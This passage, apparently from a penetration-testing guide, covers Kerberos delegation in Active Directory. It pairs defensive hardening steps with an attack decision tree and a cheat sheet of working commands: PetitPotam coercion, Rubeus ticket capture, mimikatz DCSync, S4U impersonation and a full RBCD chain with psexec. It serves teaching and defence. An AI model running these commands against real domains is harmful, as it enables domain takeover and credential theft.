→ Enable "Account is sensitive and cannot be delegated" on
all privileged accounts
→ Disable MS-RPRN (Print Spooler service) on DCs
→ Block PetitPotam (MS-EFSRPC) at firewall level
→ Monitor: Who is authenticating TO servers with unconstrained delegation

AGAINST CONSTRAINED DELEGATION:
→ Audit msDS-AllowedToDelegateTo — minimize to only necessary SPNs
→ Never allow delegation to ldap/DC (DCSync risk!)
→ Prefer protocol-transition-OFF mode (Kerberos only)
→ Add service accounts to Protected Users group if possible

AGAINST RBCD:
→ Set ms-DS-MachineAccountQuota = 0
(Prevents regular users from creating machine accounts!)
Set-ADDomain -Identity domain.local -Replace @{'ms-DS-MachineAccountQuota'=0}
→ Audit and minimize GenericWrite/GenericAll ACLs on computer objects
→ Monitor Event 5136 for any change to msDS-AllowedToActOnBehalfOfOtherIdentity
→ Regularly audit RBCD settings:
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null}

PROTECTED USERS GROUP (Most Effective Defense):
──────────────────────────────────────────────────────────────
Adding any account to "Protected Users" enforces:
→ NO Kerberos delegation (cannot be delegated — period!)
→ NO NTLM authentication
→ Kerberos ticket lifetime: 4 hours max (not 10 hrs)
→ NO DES or RC4 encryption — AES only
→ NO caching of credentials

→ Add ALL admin/privileged accounts to Protected Users!


10. Decision Tree — Which Attack to Use

DELEGATION ATTACK DECISION TREE:
══════════════════════════════════════════════════════════════

START: You have some level of access to domain
↓
┌─────────────────────────────────────────────────────────┐
│ RUN findDelegation.py / PowerView / BloodHound first! │
└─────────────────────────────────────────────────────────┘
↓
═══════════════════════════════════════════════════════════
Q1: Is any NON-DC computer configured with UNCONSTRAINED DELEGATION?
═══════════════════════════════════════════════════════════
YES → Do you have SYSTEM on that computer?
YES → Dump tickets (Rubeus dump)
→ Find DA TGT? → use it → GAME OVER
→ No DA TGT? → Coerce DC authentication
→ PrinterBug / PetitPotam / Coercer
→ Catch DC TGT → DCSync → GAME OVER
NO → Try to compromise that computer first
(it's a high-value target — focus here!)

═══════════════════════════════════════════════════════════
Q2: Is any account configured with CONSTRAINED DELEGATION?
═══════════════════════════════════════════════════════════
YES → Do you have that account's creds or hash?
YES → What SPN is it delegating to?
→ cifs/HOST → file system + PsExec → SYSTEM
→ ldap/DC → DCSync → all hashes!
→ host/HOST → WMI exec → SYSTEM
→ mssql/HOST → DB access as any user
Run: getST.py -spn -impersonate Administrator
NO → Note it, keep enumerating

═══════════════════════════════════════════════════════════
Q3: Do you have GenericWrite/GenericAll/WriteDACL on any computer?
═══════════════════════════════════════════════════════════
YES → RBCD attack!
→ Do you control an account WITH SPN?
YES → Set RBCD → S4U chain → SYSTEM on target
NO → Check MAQ > 0?
YES → Create machine account → Set RBCD → S4U → SYSTEM
NO → Need another account with SPN
→ Check existing service accounts

═══════════════════════════════════════════════════════════
Q4: Do you have ANY domain user account + MAQ > 0?
═══════════════════════════════════════════════════════════
YES → Do you have GenericWrite on ANY computer?
YES → Create FAKE$ → RBCD → SYSTEM on target
NO → Limited — enumerate ACLs more carefully
Use BloodHound to find ACL paths

═══════════════════════════════════════════════════════════
Q5: Do you have SYSTEM on ANY domain machine?
═══════════════════════════════════════════════════════════
YES → Set RBCD on THAT machine (SYSTEM = GenericWrite on self!)
→ Create FAKE$ → Set RBCD on current machine → get SYSTEM ticket
→ Use SYSTEM ticket → access file system / secrets on current machine
→ Dump LSASS → get more creds → repeat

NO TO ALL → Continue enumerating:
→ Check BloodHound for ACL paths (WriteDACL, WriteOwner, GenericWrite)
→ Run Kerberoasting (service accounts often have delegation)
→ Check AD descriptions for passwords (then re-run this tree)
→ Password spraying → get more accounts → re-run

═══════════════════════════════════════════════════════════
QUICK REFERENCE — ATTACK COMMAND CHEAT SHEET
═══════════════════════════════════════════════════════════

UNCONSTRAINED — dump + coerce (Windows):
.\Rubeus.exe monitor /interval:5 /nowrap
python3 PetitPotam.py COMPROMISE_IP DC_IP
.\Rubeus.exe ptt /ticket:
mimikatz# lsadump::dcsync /all

CONSTRAINED — S4U (Linux):
getST.py -spn cifs/TARGET -impersonate Administrator
-hashes : domain.local/svc_account -dc-ip DC_IP
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass TARGET.domain.local

RBCD — Full chain (Linux):
addcomputer.py -computer-name 'FAKE$' -computer-pass 'Pass123!'
-dc-ip DC_IP domain.local/user:pass
rbcd.py -f FAKE$ -t TARGET -action write
-dc-ip DC_IP domain.local/user:pass
getST.py -spn cifs/TARGET -impersonate Administrator
-dc-ip DC_IP domain.local/'FAKE$':Pass123!
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass TARGET.domain.local

FIND DELEGATION (Linux — one command):
findDelegation.py domain.local/user:pass -dc-ip DC_IP

CHECK MAQ:
netexec ldap DC_IP -u user -p pass -M maq

CLEANUP RBCD:
rbcd.py -f FAKE$ -t TARGET -action remove
-dc-ip DC_IP domain.local/user:pass
addcomputer.py -computer-name 'FAKE$'
-action delete -dc-ip DC_IP domain.local/user:pass

← Active Directory top ↑